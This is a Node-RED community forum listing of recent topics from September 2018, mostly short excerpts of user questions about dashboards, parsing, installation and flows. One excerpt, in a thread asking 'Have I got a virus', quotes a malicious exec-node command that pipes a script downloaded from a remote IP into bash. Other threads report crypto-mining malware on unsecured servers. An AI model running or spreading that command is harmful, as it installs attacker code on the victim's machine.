# Latest

**URL:** https://discourse.nodered.org/latest.md?page=1360

[Latest](https://discourse.nodered.org/latest.md) · [Categories](https://discourse.nodered.org/categories.md) · [Tags](https://discourse.nodered.org/tags.md)

**Page:** 1361

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## [Reallocating messages to different outputs](https://discourse.nodered.org/t/reallocating-messages-to-different-outputs/3515)

<div class="topic-metadata">

**Author:** [@themanfrommoon](https://discourse.nodered.org/u/themanfrommoon)\
**Replies:** 16\
**Last updated:** [27 September 2018 21:52 UTC](https://discourse.nodered.org/t/reallocating-messages-to-different-outputs/3515 "2018-09-27T21:52:17Z")

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Hello, I have several temperature sensors and I would like to have the different temperatures displayed on several gauges and graphs. I would like to seperate the values by using their topics. How can I seperate the d…

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## [Node RED installation not working](https://discourse.nodered.org/t/node-red-installation-not-working/3503)

<div class="topic-metadata">

**Author:** [@sdhomne](https://discourse.nodered.org/u/sdhomne)\
**Replies:** 3\
**Last updated:** [27 September 2018 20:47 UTC](https://discourse.nodered.org/t/node-red-installation-not-working/3503 "2018-09-27T20:47:49Z")

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Hi All, I have installed Node.js and while installing Node RED using step 2 at https://nodered.org/docs/platforms/windows, it is giving following errors: npm ERR! code ENOTFOUND npm ERR! errno ENOTFOUND (some mo…

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## [Have I got a virus in Node-red?](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450)

<div class="topic-metadata">

**Author:** [@Alis5](https://discourse.nodered.org/u/Alis5)\
**Replies:** 5\
**Last updated:** [27 September 2018 19:46 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450 "2018-09-27T19:46:54Z")

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Hi, I get alot of new tabs, with 3 things in them. Timestamp, exec and msg.payload All new tabs look the same. The exce node has this in it: "curl -s http://192.99.142.226:8220/mr.sh | bash -sh" Which seem to be a c…

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## [How can I convert a buffer \[4\] into a number value?](https://discourse.nodered.org/t/how-can-i-convert-a-buffer-4-into-a-number-value/3506)

<div class="topic-metadata">

**Author:** [@aabbas](https://discourse.nodered.org/u/aabbas)\
**Replies:** 1\
**Last updated:** [27 September 2018 18:06 UTC](https://discourse.nodered.org/t/how-can-i-convert-a-buffer-4-into-a-number-value/3506 "2018-09-27T18:06:55Z")

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Hello, I have KES - KNX Energy Saver - REF: ZN1IO-KES. I like to get the energy consumption on my node red-dashboad. But i have problem with it. I got this message on my debug window ( knx: write : msg.payload : Object …

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## [Pass msg.name to a js variable in core template](https://discourse.nodered.org/t/pass-msg-name-to-a-js-variable-in-core-template/3501)

<div class="topic-metadata">

**Author:** [@tkdim](https://discourse.nodered.org/u/tkdim)\
**Replies:** 2\
**Last updated:** [27 September 2018 15:45 UTC](https://discourse.nodered.org/t/pass-msg-name-to-a-js-variable-in-core-template/3501 "2018-09-27T15:45:46Z")

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I want to pass an array of objects from my flow to a js variable inside core template node and use them as input in a javascript program and it is not working. my sample flow: \[{"id":"9f68c4b6.99ed08","type":"tab","lab…

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## [Apply custom css styling to dashboard elems](https://discourse.nodered.org/t/apply-custom-css-styling-to-dashboard-elems/3483)

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**Author:** [@Vishu](https://discourse.nodered.org/u/Vishu)\
**Replies:** 3\
**Last updated:** [27 September 2018 15:18 UTC](https://discourse.nodered.org/t/apply-custom-css-styling-to-dashboard-elems/3483 "2018-09-27T15:18:40Z")

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Hi, When using the dashboard nodes, they get displayed in a default page containing style elements depending on what the node can offer. Is it possible to add custom css styling when using for instance the moustache nod…

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## [Need Help: Node for elero shutter usb stick](https://discourse.nodered.org/t/need-help-node-for-elero-shutter-usb-stick/3485)

<div class="topic-metadata">

**Author:** [@HannesG79](https://discourse.nodered.org/u/HannesG79)\
**Replies:** 3\
**Last updated:** [27 September 2018 15:16 UTC](https://discourse.nodered.org/t/need-help-node-for-elero-shutter-usb-stick/3485 "2018-09-27T15:16:04Z")

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Hello community, i need help to create a node for a elero shutter system. This is my first request to the community. I am more a user than a developer. Hopefully someone can help me. This is the elero usb transmitter…

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## [Node-RED Deploy failed with EACCES:permission denied](https://discourse.nodered.org/t/node-red-deploy-failed-with-eacces-permission-denied/749)

<div class="topic-metadata">

**Author:** [@IoTPlay](https://discourse.nodered.org/u/IoTPlay)\
**Replies:** 5\
**Last updated:** [27 September 2018 14:10 UTC](https://discourse.nodered.org/t/node-red-deploy-failed-with-eacces-permission-denied/749 "2018-09-27T14:10:11Z")

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Hi, have a new problem that creaped up with Projects, after deploying the project, and on Deploying a change, I get: Node-RED Deploy failed: {"error";"EACCES","message", "EACCES:permission denied, rename '/data/proj…

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## [How Fix it i got bitcoin mulware](https://discourse.nodered.org/t/how-fix-it-i-got-bitcoin-mulware/3459)

<div class="topic-metadata">

**Author:** [@junoprima](https://discourse.nodered.org/u/junoprima)\
**Replies:** 1\
**Last updated:** [26 September 2018 09:22 UTC](https://discourse.nodered.org/t/how-fix-it-i-got-bitcoin-mulware/3459 "2018-09-26T09:22:12Z")

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Hello Everyon plz help me my node-red got bitcoin script mulware like this because i'm not authen node-red how can i fix it

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## [Warning in node red console](https://discourse.nodered.org/t/warning-in-node-red-console/3307)

<div class="topic-metadata">

**Author:** [@garywilson4](https://discourse.nodered.org/u/garywilson4)\
**Replies:** 4\
**Last updated:** [27 September 2018 11:30 UTC](https://discourse.nodered.org/t/warning-in-node-red-console/3307 "2018-09-27T11:30:44Z")

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20 Sep 14:26:27 - \[warn\] nodes/core/io/lib/mqtt.js is deprecated and will be removed in a future release of Nod e-RED. Please report this usage to the Node-RED mailing list. 20 Sep 14:26:27 - \[warn\] nodes/core/io/lib/mqt…

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## [How to send REST request to nodered server to set/see message payload](https://discourse.nodered.org/t/how-to-send-rest-request-to-nodered-server-to-set-see-message-payload/3473)

<div class="topic-metadata">

**Author:** [@aoighost](https://discourse.nodered.org/u/aoighost)\
**Replies:** 6\
**Last updated:** [27 September 2018 10:55 UTC](https://discourse.nodered.org/t/how-to-send-rest-request-to-nodered-server-to-set-see-message-payload/3473 "2018-09-27T10:55:45Z")

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Is there any way to send a REST request to node red and set/see msg.payload?

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## [How to set dashboard from split message](https://discourse.nodered.org/t/how-to-set-dashboard-from-split-message/3479)

<div class="topic-metadata">

**Author:** [@junoprima](https://discourse.nodered.org/u/junoprima)\
**Replies:** 1\
**Last updated:** [27 September 2018 09:31 UTC](https://discourse.nodered.org/t/how-to-set-dashboard-from-split-message/3479 "2018-09-27T09:31:32Z")

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I have a function to split from message payload and save to mysql but i need to show in dash board also now i can get only first message how can i do this var newMsg = msg.payload.split(','); humidity = { payload: newMs…

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## [Very slow dashboard (dark at reload)](https://discourse.nodered.org/t/very-slow-dashboard-dark-at-reload/3456)

<div class="topic-metadata">

**Author:** [@Alis5](https://discourse.nodered.org/u/Alis5)\
**Replies:** 6\
**Last updated:** [27 September 2018 07:01 UTC](https://discourse.nodered.org/t/very-slow-dashboard-dark-at-reload/3456 "2018-09-27T07:01:25Z")

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Hi, Every 5min i trigger a readout over JSON (http), from my internal network, and then I sort out the data (temperatures). After that I display the resaults in text-boxes and in one chart. I do 9 different readouts. T…

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## [global.get("Variable")](https://discourse.nodered.org/t/global-get-variable/3475)

<div class="topic-metadata">

**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\
**Replies:** 2\
**Last updated:** [27 September 2018 03:40 UTC](https://discourse.nodered.org/t/global-get-variable/3475 "2018-09-27T03:40:29Z")

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Is it possible to do a global.get that is set to a variable? I want to build my variable and get the global data of that variable. msg.payload = msg.payload + "Servers"; var servers=global.get('msg.payload');

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## [Regex style string parsing](https://discourse.nodered.org/t/regex-style-string-parsing/2126)

<div class="topic-metadata">

**Author:** [@TailFire](https://discourse.nodered.org/u/TailFire)\
**Replies:** 22\
**Last updated:** [27 September 2018 01:46 UTC](https://discourse.nodered.org/t/regex-style-string-parsing/2126 "2018-09-27T01:46:44Z")

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i have a serial string being output from arduino mega, Its output from a couple sensors. Thats working fine.(I believe) I would like to display that data on the dashboard and I am stuck on the string splitting and parsin…

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## [Node red keep restarting](https://discourse.nodered.org/t/node-red-keep-restarting/3419)

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**Author:** [@mshaz](https://discourse.nodered.org/u/mshaz)\
**Replies:** 4\
**Last updated:** [26 September 2018 23:52 UTC](https://discourse.nodered.org/t/node-red-keep-restarting/3419 "2018-09-26T23:52:42Z")

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hi My node-red keep restarting and i can't open it to copy all the flows. Is there a way to get the flows from terminal. Thank you.

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## [Problems updating flows to latest Dashboard Version](https://discourse.nodered.org/t/problems-updating-flows-to-latest-dashboard-version/3145)

<div class="topic-metadata">

**Author:** [@mapos](https://discourse.nodered.org/u/mapos)\
**Replies:** 6\
**Last updated:** [26 September 2018 22:53 UTC](https://discourse.nodered.org/t/problems-updating-flows-to-latest-dashboard-version/3145 "2018-09-26T22:53:49Z")

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Hi, im actually facing problems updating esisting flows with ui to the latest dashboard version. the problem shows-up as a continuos connection-lost message and impossibility to use the ui. no errors however shown in …

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## [Answered - Clear Missing Dependencies](https://discourse.nodered.org/t/answered-clear-missing-dependencies/3468)

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**Author:** [@DCHuber](https://discourse.nodered.org/u/DCHuber)\
**Replies:** 5\
**Last updated:** [26 September 2018 22:12 UTC](https://discourse.nodered.org/t/answered-clear-missing-dependencies/3468 "2018-09-26T22:12:14Z")

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G'day all, I've ran into a few issues that I will try to address one at a time. I'm not sure if this first item is a bug with Node-RED, or if I'm just doing it wrong. ISSUE: Unable to remove node package after I've …

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## [Run SSH commands from within a flow](https://discourse.nodered.org/t/run-ssh-commands-from-within-a-flow/3453)

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**Author:** [@nodecentral](https://discourse.nodered.org/u/nodecentral)\
**Replies:** 17\
**Last updated:** [26 September 2018 20:49 UTC](https://discourse.nodered.org/t/run-ssh-commands-from-within-a-flow/3453 "2018-09-26T20:49:20Z")

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Hi, Is it possible to run SSH commands either locally or on remote systems via node-red and process some sort of reply ? For example how can I run the following command on a remote computer 192.168.1.234 port 22 and ge…

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## [Has default behaviour of node context changed in v0.19](https://discourse.nodered.org/t/has-default-behaviour-of-node-context-changed-in-v0-19/3464)

<div class="topic-metadata">

**Author:** [@cymplecy](https://discourse.nodered.org/u/cymplecy)\
**Replies:** 4\
**Last updated:** [26 September 2018 20:37 UTC](https://discourse.nodered.org/t/has-default-behaviour-of-node-context-changed-in-v0-19/3464 "2018-09-26T20:37:47Z")

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Before I go down a convoluted debugging route with a function node I made, can I check if something has changed or not. i "thought" that node context survived node deployment in the past (0.18.7) but it doesn't seem to …

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## [Dashboard line chart (stored data) and timestamps](https://discourse.nodered.org/t/dashboard-line-chart-stored-data-and-timestamps/3411)

<div class="topic-metadata">

**Author:** [@jbudd](https://discourse.nodered.org/u/jbudd)\
**Replies:** 5\
**Last updated:** [26 September 2018 20:20 UTC](https://discourse.nodered.org/t/dashboard-line-chart-stored-data-and-timestamps/3411 "2018-09-26T20:20:37Z")

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I am in the UK where it's currently daylight saving time (BST = UTC + 1). If I pass a series of data to the line chart using timestamps, the chart shows 1 hour later than the timestamp. Is this the expected behaviour? …

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## [Temperature controlled PWM Fan](https://discourse.nodered.org/t/temperature-controlled-pwm-fan/2567)

<div class="topic-metadata">

**Author:** [@Gummix](https://discourse.nodered.org/u/Gummix)\
**Replies:** 15\
**Last updated:** [26 September 2018 19:19 UTC](https://discourse.nodered.org/t/temperature-controlled-pwm-fan/2567 "2018-09-26T19:19:52Z")

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Hello, I am looking for a way to control a PWM fan depending on a measured temperature. Fan is a Noctua NF A12 PWM which is connected via a PCA9685 with the Raspberry. Temperaturesensor is a DS18S20. So I know that th…

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## [⚠️ Malware Infecting unsecured Node-RED servers](https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460)

<div class="topic-metadata">

**Author:** [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Replies:** 0\
**Last updated:** [26 September 2018 09:33 UTC](https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460 "2018-09-26T09:33:21Z")

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There have been a growing number of reports of unsecured instances of Node-RED having a crypto-mining flow automatically deployed on them. This is a result of exposing Node-RED on the internet without having applied any…

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## [Broken deploy icon](https://discourse.nodered.org/t/broken-deploy-icon/3457)

<div class="topic-metadata">

**Author:** [@uma](https://discourse.nodered.org/u/uma)\
**Replies:** 1\
**Last updated:** [26 September 2018 06:47 UTC](https://discourse.nodered.org/t/broken-deploy-icon/3457 "2018-09-26T06:47:19Z")

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Sometimes the deploy icon changes to a jagged/broken version as above. Nodes don't behave properly when this happens- configuration data et al disappears. This fixes itself on node-red restart. Could someone from the n…

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## [Nodes displaying as 'flow' in flow library](https://discourse.nodered.org/t/nodes-displaying-as-flow-in-flow-library/3251)

<div class="topic-metadata">

**Author:** [@jbarlow-mcafee](https://discourse.nodered.org/u/jbarlow-mcafee)\
**Replies:** 4\
**Last updated:** [25 September 2018 20:36 UTC](https://discourse.nodered.org/t/nodes-displaying-as-flow-in-flow-library/3251 "2018-09-25T20:36:35Z")

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Hello. This is essentially the same issue as was mentioned in this thread but I wanted to raise this again for more visibility since it seems that issue has been considered solved: It seems that the Node-RED flow lib…

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## [Lost Node-Red node AGAIN](https://discourse.nodered.org/t/lost-node-red-node-again/2131)

<div class="topic-metadata">

**Author:** [@scargill](https://discourse.nodered.org/u/scargill)\
**Replies:** 19\
**Last updated:** [25 September 2018 20:22 UTC](https://discourse.nodered.org/t/lost-node-red-node-again/2131 "2018-09-25T20:22:34Z")

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Thank heavens for frequent backups. This morning on my Raspberry Pi 3 B+ I noticed that node-red-contrib-blynk-ws was a version behind and after patiently doing a backup using the SD-backup program, and in the /home/pi/.…

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## [How to: login, navigate, GET html, find in string](https://discourse.nodered.org/t/how-to-login-navigate-get-html-find-in-string/3435)

<div class="topic-metadata">

**Author:** [@alanca](https://discourse.nodered.org/u/alanca)\
**Replies:** 5\
**Last updated:** [25 September 2018 19:15 UTC](https://discourse.nodered.org/t/how-to-login-navigate-get-html-find-in-string/3435 "2018-09-25T19:15:58Z")

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Hello, I'm trying to create a flow in which I inject an hourly request to a HTTP node which logs in onto a web page, afterwards navigate to a different page on that website using a URL (which requires being logged in f…

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## [Array Value Equals String](https://discourse.nodered.org/t/array-value-equals-string/3451)

<div class="topic-metadata">

**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\
**Replies:** 2\
**Last updated:** [25 September 2018 17:57 UTC](https://discourse.nodered.org/t/array-value-equals-string/3451 "2018-09-25T17:57:01Z")

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I am trying to put an "if" in my code. My output\[3\] is debugging as a string and that is the value of the string. This if is not working to return my output\[2\]. Any suggestions? var lines = msg.payload.split("~~"); va…

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## [Flow disappeared but running](https://discourse.nodered.org/t/flow-disappeared-but-running/3446)

<div class="topic-metadata">

**Author:** [@Joao](https://discourse.nodered.org/u/Joao)\
**Replies:** 1\
**Last updated:** [25 September 2018 17:32 UTC](https://discourse.nodered.org/t/flow-disappeared-but-running/3446 "2018-09-25T17:32:00Z")

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I have 1 flow that disappeared but still running. How can i retrieve the nodes of that flow.i can not deploy the NR. I check the flow\_.json and seems the nodes are there but the flow statement is not.

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## [Playing with timestamps](https://discourse.nodered.org/t/playing-with-timestamps/3222)

<div class="topic-metadata">

**Author:** [@JayDickson](https://discourse.nodered.org/u/JayDickson)\
**Replies:** 9\
**Last updated:** [25 September 2018 15:56 UTC](https://discourse.nodered.org/t/playing-with-timestamps/3222 "2018-09-25T15:56:21Z")

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I'm working on a flow that is chopping up a data feed and pushing it into influxDB to use for visual monitoring and alerts. For my previous uses, I had simply been generating a timestamp at the time the message is sent o…

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